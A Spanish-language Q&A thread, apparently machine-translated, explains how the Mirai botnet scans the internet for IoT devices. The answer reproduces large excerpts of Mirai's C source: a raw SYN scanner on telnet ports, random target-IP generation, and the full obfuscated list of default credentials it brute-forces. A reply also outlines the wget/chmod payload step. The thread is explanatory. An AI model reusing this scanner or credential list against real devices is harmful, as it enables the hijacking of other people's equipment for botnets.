Leí algunos artículos sobre la botnet Mirai . No entiendo cómo Mirai escanea / encuentra dispositivos IoT. ¿Mirai escanea todo el rango de IP pública con un puerto telnet abierto e intenta iniciar sesión?
Leí algunos artículos sobre la botnet Mirai . No entiendo cómo Mirai escanea / encuentra dispositivos IoT. ¿Mirai escanea todo el rango de IP pública con un puerto telnet abierto e intenta iniciar sesión?
El Mirai original busca dispositivos con busybox instalado. Esta respuesta está dirigida al Mirai original. Como saben, Los códigos fuente de Mirai ahora son públicos y no lo son. Es sorprendente ver las variantes de Mirai en la naturaleza realizando ataques diferentes, si no más sofisticados.
Si quieres saber cómo se comunica Mirai con su C & C. Consulta la pregunta similar "¿Cómo se comunica la C & C de Mirai con su ¿bots? ".
En cambio, aquí está la explicación sobre "Cómo se dirige Mirai".
La exploración SYN en el zócalo se realiza y atraviesa varias direcciones IP de destino. Se usa porque es rápido y la capacidad de sondear múltiples puertos
// Set up raw socket scanning and payload
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("[scanner] Failed to initialize raw socket, cannot scan\n");
#endif
exit(0);
}
Obteniendo respuestas
if (fake_time != last_spew)
{
last_spew = fake_time;
for (i = 0; i < SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = get_random_ip();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
if (i % 10 == 0)
{
tcph->dest = htons(2323);
}
else
{
tcph->dest = htons(23);
}
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
}
}
Y obteniendo ip aleatoria para apuntar
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(o1,o2,o3,o4);
}
Envíe el paquete ACK y reciba la respuesta del objetivo y realice un análisis si un puerto está abierto. Orientación a TCP / 23 y TCP / 2323
last_avail_conn = 0;
while (TRUE)
{
int n;
char dgram[1514];
struct iphdr *iph = (struct iphdr *)dgram;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
struct scanner_connection *conn;
errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
break;
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr != LOCAL_ADDR)
continue;
if (iph->protocol != IPPROTO_TCP)
continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
continue;
if (tcph->dest != source_port)
continue;
if (!tcph->syn)
continue;
if (!tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->fin)
continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;
conn = NULL;
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
{
if (conn_table[n].state == SC_CLOSED)
{
conn = &conn_table[n];
last_avail_conn = n;
break;
}
}
Una vez hecho lo anterior. Luego se establece una sesión TCP
FD_ZERO(&fdset_rd);
FD_ZERO(&fdset_wr);
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
int timeout;
conn = &conn_table[i];
timeout = (conn->state > SC_CONNECTING ? 30 : 5);
if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
{
#ifdef DEBUG
printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
{
if (++(conn->tries) == 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
else
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
continue;
}
Enumeración de contraseñas
if (FD_ISSET(conn->fd, &fdset_rd))
{
while (TRUE)
{
int ret;
if (conn->state == SC_CLOSED)
break;
if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
{
memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
}
errno = 0;
ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret == 0)
{
#ifdef DEBUG
printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
#endif
errno = ECONNRESET;
ret = -1; // Fall through to closing connection below
}
if (ret == -1)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
printf("[scanner] FD%d lost connection\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (++(conn->tries) >= 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
Intenta usar contraseñas débiles comunes y contraseñas predeterminadas.
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother f**ker
No he estado investigando mucho sobre Mirai, pero se instala malware similar con solo escanear todo el Internet en busca de enrutadores con un escáner para los puertos de telnet abiertos y forzarlo con contraseñas predeterminadas.
Después de eso, solo usa una combinación de "wget", "chmod" y "./" para ejecutar la carga útil en la máquina objetivo, en el caso de Mirai, enrutador.
Lea otras preguntas en las etiquetas botnet